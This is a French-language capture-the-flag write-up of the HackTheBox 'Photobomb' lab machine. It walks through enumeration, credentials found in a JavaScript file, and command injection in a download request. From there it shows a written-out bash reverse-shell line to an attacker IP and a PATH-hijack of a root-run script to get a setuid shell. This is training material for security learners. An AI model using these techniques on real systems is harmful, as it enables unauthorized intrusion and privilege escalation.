Code Monkey home page Code Monkey logo

photobomb-hackthebox-easy-fr's Introduction

WriteUp de la box Photobomb

Bonjour à toutes et tous, aujourd'hui on s'attaque à la machine Photobomb sur HackTheBox.

C'est une machine classifiée facile, et nous allons voir que les démarches pour atteindre les deux flags sont relativement rapides (si l'on cherche aux bons endroits).

Enumération

On commence par réaliser un NMAP afin de scanner les ports ouverts sur la machine :

image

On s'aperçoit que seul le port 80 (HTTP) ainsi que le port 22 (SSH) sont ouverts. On obtient aussi le nom de domaine (photobomb.htb) qu'il faut ajouter dans notre ficher "/etc/hosts"

Lorsque l'on se rend sur le site, on se rend compte qu'il n'y a pas grand chose, c'est un site vitrine (d'apparence).

image

Un lien permet de se connecter pour accéder à une autre partie du site. Néanmoins, sans creds, impossible de se connecter, il va falloir trouver une solution. On peut quand même remarquer qu'en cas d'échec d'authentification, on est redirigé sur "/printers".

image

On lance une énumération des "directories" avec gobuster en fond, en parralèle, on continue l'énumération à la main afin de voir si l'on peut trouver quelque chose d'intéressant.

image

Accès au "/printers"

Les résultats de gobuster ne seront pas très intéressants car toutes les pages que l'on trouve nécessite une authentification. Toujours étant qu'en inspectant le code source de la page, on s'aperçoit qu'un fichier JS est utilisé. En y accédant, on obtient des creds visiblement destinés au support technique du site web.

image

Il suffit d'utiliser ces creds pour nous connecter ou tout simplement de c/v le lien ! :)

Reverse Shell pour accéder à la machine

Maintenant que nous avons accès, nous pouvons continuer à énumérer le site. On remarque rapidement un bouton pour télécharger la photo :

image

On lance Burp Suite afin d'étudier la requête qui est effectuée.

image

On test plusieurs attaques comme du LFI sur la requète, rien ne fonctionne jusqu'au moment où on test les injections de commandes. Comme on peut le voir ci-contre, il suffit d'ajouter "; {command}" à la suite d'un des trois paramètres pour que ce soit executé.

image

Maintenant que nous avons une RCE sur le serveur web, il suffit de créer notre reverse shell et de l'envoyer afin d'avoir accès à la machine.

Dans un premier temps, un simple reverse shell "bash -i >& /dev/tcp/10.10.14.40/4242 0>&1" ne fonctionne pas, même en URL encodant (surement à cause des caractères spéciaux). On décide donc de le passer en base64 en faisant attention de n'avoir aucun "+".

image

Puis, on passe notre payload dans la requète.

image

Ainsi, on obtient un shell sur la machine pour récupérer le flag user.txt. On stabilise notre shell et on s'attaque au privesc !

Escalation de privilège

On pourrait lancer Linpeas pour voir s'il y a des chemins de privesc rapide, mais simplement à l'aide d'un sudo -l on s'aperçoit que l'on peut lancer un script en temps que Root.

image

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Le script en question présente une vulnérabilité. En effet, l'utilitaire "find" n'est pas défini avec son chemin absolu, on va pouvoir en abuser pour obtenir un shell root.

On créer un script Bash sous le nom de find dans "/tmp". Ce dernier va copier bash et lui attribuer le setuid Root.

image

On oublie pas de "chmod +x" notre script find.

Maintenant, il suffit de changer le path de notre utilisateur (an ajoutant "/tmp:") et de lancer le script :D

image

Et voilà !

image

J'espère que ce premier WriteUp vous aura plus, j'en referai peut être à l'avenir.

photobomb-hackthebox-easy-fr's People

Contributors

fransosiche avatar

Stargazers

0xb0c4n avatar  avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.